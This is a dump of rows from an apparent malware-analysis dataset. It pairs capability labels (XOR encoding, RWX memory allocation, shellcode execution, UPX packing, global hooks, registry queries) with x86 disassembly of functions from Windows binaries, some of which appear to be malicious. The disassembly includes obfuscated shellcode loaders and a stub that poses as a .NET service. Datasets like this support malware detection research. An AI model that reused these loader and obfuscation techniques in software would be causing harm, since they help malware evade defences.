joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403853
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00402ee5
test eax, eax
pop ecx
je 0x4038a7
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x4035da
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402bc0
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.00403044
add esp, 0x18
call fcn.00402130
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x41caa0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x14000]
push edi
or ebp, 0xffffffff
jmp 0x41cac2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cac9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cab8
mov eax, 1
add ebx, ebx
jne 0x41cadb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cad0
jne 0x41caec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cad0
xor ecx, ecx
sub eax, 3
jb 0x41cb00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41cb72
mov ebp, eax
add ebx, ebx
jne 0x41cb0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41cb18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41cb3c
inc ecx
add ebx, ebx
jne 0x41cb28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41cb1d
jne 0x41cb39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cb1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41cb5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41cb4d
jmp 0x41cabe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41cb5c
add edi, ecx
jmp 0x41cabe
pop esi
mov edi, esi
mov ecx, 0x466
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41cb7a
cmp byte [edi], 6
jne 0x41cb7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41cb7f
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41cbee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1c068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1c0cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41cbac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1c0d0]
or eax, eax
je 0x41cbe8
mov dword [ebx], eax
add ebx, 4
jmp 0x41cbc9
call dword [esi + 0x1c0d4]
popal
jmp section.UPX0
Function at 0x1000a4a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000a4af
pop dword [ebp - 8]
mov eax, 0xfe2064ed
add eax, 0x11e03fc2
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x78df2d3e
sub dword [ebp - 0x18], 0x2a8ce7f3
mov dword [ebp - 0x14], 0x54467e08
add dword [ebp - 0x14], 0xddecce3d
mov dword [ebp - 0x10], 0xfb2662e3
add dword [ebp - 0x10], 0x5125e14b
mov dword [ebp - 0xc], 0x572cf3db
sub dword [ebp - 0xc], 0x572cf3db
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x989d47ac
add dword [ebp - 0x18], 0xdbd521aa
mov dword [ebp - 0x14], 0x935d586e
sub dword [ebp - 0x14], 0x51f0f6f9
mov dword [ebp - 0x10], 0x894162a5
add dword [ebp - 0x10], 0xda2e09c7
mov dword [ebp - 0xc], 0x5af50391
sub dword [ebp - 0xc], 0x5af50391
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xaa1ede8d
add eax, 0x65e241b7
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x387f4
push 0
call eax
mov ecx, 0xb474c145
add ecx, 0x4b8b81c8
xor edi, edi
add edi, eax
mov edx, 0x14d2a88e
sub edx, 0x4d0f88e
add edx, dword [ebp - 8]
mov esi, 0x27bd5965
add dword [ebp - 4], eax
mov ebx, dword [edx]
xor dword [ebp - 4], 0xe08eff20
add ebx, esi
sub dword [ebp - 4], esi
mov dword [edi], ebx
xor dword [ebp - 4], 0x9408e344
add edi, 0x93d7d0
add edi, 0xff6c2834
add edx, 0x40dd25b8
add edx, 0xbf22da4c
loop 0x1000a5c8
add eax, 0xff07
mov ebx, eax
add eax, 5
mov ecx, 0x8c319ef
sub ecx, 0xf8c319ef
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000b422
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000b431
pop dword [ebp - 0xc]
mov eax, 0x1000b431
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x3a114
push 0
mov eax, 0x29f8093e
add eax, 0xe608b7d2
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x87cc55f2
add ecx, 0x7833fd8b
mov ebx, eax
mov esi, 0x724eed1d
add esi, 0x9db2d8e3
add esi, dword [ebp - 0xc]
mov edx, 0x785d2773
sub dword [ebp - 4], 0xdef1ff53
mov edi, dword [esi]
sub dword [ebp - 8], 0x271e8fc0
add edi, edx
mov dword [ebp - 4], 0xe0466f83
mov dword [ebx], edi
xor dword [ebp - 4], edi
add ebx, 0x4188f95b
add ebx, 0xbe7706a9
add esi, 0xcc6ca2db
sub esi, 0xcc6ca2d7
loop 0x1000b485
add eax, 0x4bcf235e
add eax, 0xb4321d69
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4304c25f
Capabilities:
Hide graphical window

Disassembly:
cmp byte [edi + 0x30], 0
push esi
sete al
mov byte [edi + 0x30], al
lea esi, [edi + 4]
test al, al
je 0x4304c28c
push 5
push 0x1f7
push dword [esi]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [edi + 0x2c]
jmp 0x4304c2a5
push 0
push 0x1f7
push dword [esi]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [edi + 0x28]
call fcn.43054cc6
xor eax, eax
pop esi
ret

Function at 0x4304eb37
Capabilities:
Set global application hook

Disassembly:
cmp dword [0x4306c86c], 0
jne 0x4304eb50
push 0x4304eb78
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov dword [0x4306c86c], eax
cmp dword [0x4306c868], 0
jne 0x4304eb74
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
push 0
push 0x4304eb9e
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4306c868], eax
ret

Function at 0x43054cc6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x43054cd5
pop dword [ebp - 0x24]
mov eax, 0x43054cd5
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3b334
push 0
mov eax, 0xd141e6b4
add eax, 0x71c12a74
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x4ae9
xor edx, edx
add edx, eax
mov ebx, 0x87af9f06
sub ebx, 0x44a87906
add ebx, dword [ebp - 0x24]
mov edi, 0xde8bb48a
add edi, 0x8772d9bd
add dword [ebp - 8], 0xb968a1bd
mov esi, dword [ebx]
xor dword [ebp - 8], 0x3dde8e9e
xor esi, edi
xor dword [ebp - 0x20], 0x798c730
mov dword [edx], esi
mov dword [ebp - 0xc], 0x20b795a
add edx, 4
add ebx, 0x2b9d1d6b
add ebx, 0xd462e299
loop 0x43054d2b
add eax, 0x11e77
mov ebx, eax
add eax, 0xd609e93b
sub eax, 0xd609e936
mov ecx, 0x5ec62850
sub ecx, 0x1bc32850
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x43060d56
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x22c
mov eax, 0x43068466
call fcn.43065fef
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x224], edi
push 0x43061020
mov dword [ebp - 4], edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x220], eax
cmp eax, edi
jne 0x43060d98
push 0x8007000e
call fcn.43054cc6
xor eax, eax
mov byte [ebp - 4], 1
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call sub.MSVCR100.dll_memset
mov eax, dword [ebx]
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
lea ecx, [ebp - 0x228]
push ecx
push 0xd
push 0x43061004
push edi
push 0x43043bac
push ebx
mov dword [ebp - 0x238], 0x104
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x22c], edi
call dword [eax + 0x38]
mov esi, eax
cmp esi, edi
jl 0x43060f86
mov ecx, dword [ebp - 0x228]
cmp word [ecx], 0x2e
mov eax, ecx
je 0x43060e23
xor edx, edx
mov esi, edx
sar esi, 1
cmp esi, dword [ebp - 0x21c]
jge 0x43060e23
add eax, 2
add edx, 2
cmp word [eax], 0x2e
jne 0x43060e0b
sub eax, ecx
sar eax, 1
push eax
push ecx
lea edi, [ebp - 0x220]
mov dword [ebp - 0x21c], eax
call fcn.43054cc6
mov esi, eax
test esi, esi
js 0x43060f86
mov esi, 0x43044320
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
push eax
push esi
call fcn.43054cc6
mov esi, eax
test esi, esi
js 0x43060f86
mov eax, dword [ebx]
lea ecx, [ebp - 0x21c]
push ecx
lea ecx, [ebp - 0x228]
push ecx
push 7
push 0x43060fe4
push 0
push 0x43043bac
push ebx
call dword [eax + 0x38]
mov esi, eax
test esi, esi
js 0x43060f86
push dword [ebp - 0x21c]
push dword [ebp - 0x228]
call fcn.43054cc6
mov esi, eax
test esi, esi
js 0x43060f86
mov eax, dword [ebx]
lea ecx, [ebp - 0x21c]
push ecx
lea ecx, [ebp - 0x228]
push ecx
push 0x10
push 0x43060fc0
push 0
push 0x43043bac
push ebx
call dword [eax + 0x38]
mov esi, eax
test esi, esi
js 0x43060f86
push dword [ebp - 0x21c]
lea edi, [ebp - 0x224]
push dword [ebp - 0x228]
call fcn.43054cc6
mov esi, eax
test esi, esi
js 0x43060f86
lea eax, [ebp - 0x22c]
push eax
push 0x20019
push 0
push dword [ebp - 0x220]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x43060f84
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x230]
push eax
push 0
push 0x43060ff4
push dword [ebp - 0x22c]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x43060f84
cmp dword [ebp - 0x230], 1
jne 0x43060f84
push dword [ebp - 0x224]
lea eax, [ebp - 0x218]
call fcn.43054cc6
mov esi, eax
test esi, esi
js 0x43060f86
cmp esi, 1
je 0x43060f84
mov ecx, dword [ebp - 0x234]
mov eax, dword [ebp - 0x224]
mov ecx, dword [ecx + 8]
and dword [ebp - 0x224], 0
mov dword [ecx + 0x14], eax
jmp 0x43060f86
xor esi, esi
cmp dword [ebp - 0x22c], 0
je 0x43060f9b
push dword [ebp - 0x22c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
push dword [ebp - 0x220]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
push dword [ebp - 0x224]
call edi
mov eax, esi
call fcn.43066025
ret 4
Function at 0x7d5e90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x15f000]
push edi
or ebp, 0xffffffff
jmp 0x7d5eb2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7d5eb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d5ea8
mov eax, 1
add ebx, ebx
jne 0x7d5ecb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7d5edc
jne 0x7d5efb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d5efb
dec eax
add ebx, ebx
jne 0x7d5ee8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7d5ec0
add ebx, ebx
jne 0x7d5ef7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7d5f4d
xor ecx, ecx
sub eax, 3
jb 0x7d5f13
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7d5f82
sar eax, 1
mov ebp, eax
jmp 0x7d5f1e
add ebx, ebx
jne 0x7d5f1e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d5eec
inc ecx
add ebx, ebx
jne 0x7d5f2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7d5eec
add ebx, ebx
jne 0x7d5f39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7d5f2e
jne 0x7d5f4a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7d5f2e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7d5f6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7d5f5e
jmp 0x7d5eae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7d5f6c
add edi, ecx
jmp 0x7d5eae
pop esi
mov edi, esi
mov ecx, 0x6806
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7d5f8a
cmp byte [edi], 0x22
jne 0x7d5f8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7d5f8f
lea edi, [esi + 0x3ca000]
mov eax, dword [edi]
or eax, eax
je 0x7d6007
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4087a0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x408900]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7d5fbc
mov ecx, edi
jns 0x7d5feb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x408908]
or eax, eax
je 0x7d6001
mov dword [ebx], eax
add ebx, 4
jmp 0x7d5fd9
call dword [esi + 0x408904]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x7d6041
cmp al, 0xef
ja 0x7d602b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x7d600d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
or eax, eax
jne 0x7d601a
mov eax, dword [edi]
add edi, 4
jmp 0x7d601a
mov ebp, dword [esi + 0x40890c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x267]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7d6075
sub esp, 0xffffff80
jmp 0x4d5306
Function at 0x10006fd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov ecx, 0x40
xor eax, dword [ebp + ecx]
sub ecx, 8
cmp ecx, 0
jne 0x10006fda
leave
ret 0x40

Function at 0x100099a1
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x10
push 1
mov ebx, 0x184
call fcn.1000dc40
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100099e6
push ebx
call fcn.1000d5e5
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x10
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.WS2_32.dll_gethostname]
nop
nop
cmp dword [ebp - 8], esp
je 0x10009a1b
push 0x36
push 0x40469c7
push 6
call fcn.1000d5eb
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x10009a37
push eax
mov ebx, eax
call fcn.100010a6
inc eax
push eax
call fcn.1000d5df
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10009a3c
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10009a4d
push ebx
call fcn.1000d5e5
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x1000aae2
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
xor eax, eax
call dword [0x1001bd8c]
nop
nop
cmp dword [ebp - 4], esp
je 0x1000ab1a
push 0x24
push 0x40469c0
push 6
call fcn.1000d5eb
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000ab38
pushal
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
popal
leave
ret 0xc
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000e4c0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x1000e4de
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x1000e4d3
pop esi
ret
Function at 0x1000e780
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x1000e78d
xor eax, eax
pop esi
ret
push esi
call dword [0x1001c35c]
add esp, 4
test eax, eax
jne 0x1000e79d
pop esi
ret
cmp eax, 1
jne 0x1000e7ab
cmp byte [esi], 0x5c
jne 0x1000e7ab
xor eax, eax
pop esi
ret
push esi
call fcn.1000e530
add esp, 4
test eax, eax
je 0x1000e7bf
push esi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
pop esi
ret

Function at 0x1000f0d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
push eax
call fcn.100104a0
mov edi, dword [esp + 0x38]
xor esi, esi
push edi
mov ebp, eax
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], esi
call dword [0x1001c35c]
add esp, 8
cmp ebp, esi
je 0x1000f1b0
cmp eax, esi
je 0x1000f1b0
inc eax
push ebx
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000f146
mov byte [esi], 0
inc esi
lea eax, [esp + 0x18]
push eax
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000f19e
lea ecx, [esp + 0x20]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
mov edi, 4
push esi
push ecx
mov dword [esp + 0x38], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000f193
cmp dword [esp + 0x14], edi
jne 0x1000f193
mov dword [esp + 0x1c], 1
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x20]
add esp, 4
test eax, eax
pop ebx
jne 0x1000f1bc
mov eax, dword [esp + 0x48]
test eax, eax
mov eax, dword [esp + 0x40]
jne 0x1000f1c0
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebp
add esp, 0x14
ret
Function at 0x1000f1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
push eax
call fcn.100104a0
mov edi, dword [esp + 0x38]
xor ebp, ebp
push edi
mov ebx, eax
mov dword [esp + 0x18], ebp
call dword [0x1001c35c]
add esp, 8
test ebx, ebx
je 0x1000f314
test eax, eax
je 0x1000f314
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_strrchr
mov edi, eax
add esp, 0xc
test edi, edi
je 0x1000f242
mov byte [edi], 0
inc edi
lea eax, [esp + 0x1c]
push eax
push ebp
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000f301
push 0x400
mov dword [esp + 0x18], 0x400
mov dword [esp + 0x1c], 1
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push esi
push edx
push 0
push edi
push eax
call ebx
test eax, eax
je 0x1000f2ca
cmp eax, 0xea
jne 0x1000f2ed
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x18]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x24]
add esp, 8
lea edx, [esp + 0x14]
mov esi, eax
push edx
lea eax, [esp + 0x1c]
push esi
push eax
push 0
push edi
push ecx
call ebx
test eax, eax
jne 0x1000f295
mov eax, dword [esp + 0x18]
cmp eax, 1
je 0x1000f2d8
cmp eax, 2
jne 0x1000f2ed
push esi
call dword [0x1001c35c]
push eax
push esi
call fcn.100103a0
add esp, 0xc
mov dword [esp + 0x10], eax
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
add esp, 4
test eax, eax
jne 0x1000f33d
mov ebp, eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x1000f349
mov esi, dword [esp + 0x40]
test esi, esi
je 0x1000f349
push esi
call dword [0x1001c35c]
push eax
push esi
call fcn.100103a0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x100077e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100077f3
pop dword [ebp - 0x20]
mov eax, 0xf3ba093c
sub eax, 0xe3b99149
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xaa3d2e38
add dword [ebp - 0x30], 0xa4151713
mov dword [ebp - 0x2c], 0x2dbc78ea
sub dword [ebp - 0x2c], 0xfb892ca5
mov dword [ebp - 0x28], 0x2c840e4d
sub dword [ebp - 0x28], 0xe037ca1f
mov dword [ebp - 0x24], 0x82e46b97
add dword [ebp - 0x24], 0x7d1b9469
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xaba5aac
sub dword [ebp - 0x30], 0x9647f156
mov dword [ebp - 0x2c], 0x728f02ff
add dword [ebp - 0x2c], 0xcedd5e76
mov dword [ebp - 0x28], 0x7050649b
add dword [ebp - 0x28], 0xf31f07d1
mov dword [ebp - 0x24], 0x834dd552
sub dword [ebp - 0x24], 0x834dd552
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x449cf
push 0
call eax
mov ecx, 0xd6751f3c
add ecx, 0x298b2851
mov esi, eax
mov edx, 0x6dcabf13
sub edx, 0x5dc65b13
add edx, dword [ebp - 0x20]
mov edi, 0x811c6996
xor dword [ebp - 4], 0x9650369f
mov ebx, dword [edx]
mov dword [ebp - 0x1c], 0xec4f5db3
xor ebx, edi
add dword [ebp - 8], ecx
mov dword [esi], ebx
mov dword [ebp - 0x14], 0xd630a2a9
add esi, 0x5e7f7458
sub esi, 0x5e7f7454
add edx, 0xdb66ab24
add edx, 0x249954e0
loop 0x10007905
add eax, 0x2ba6e462
sub eax, 0x2ba5d35b
mov ebx, eax
add eax, 0xb5f64fd
add eax, 0xf4a09b08
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret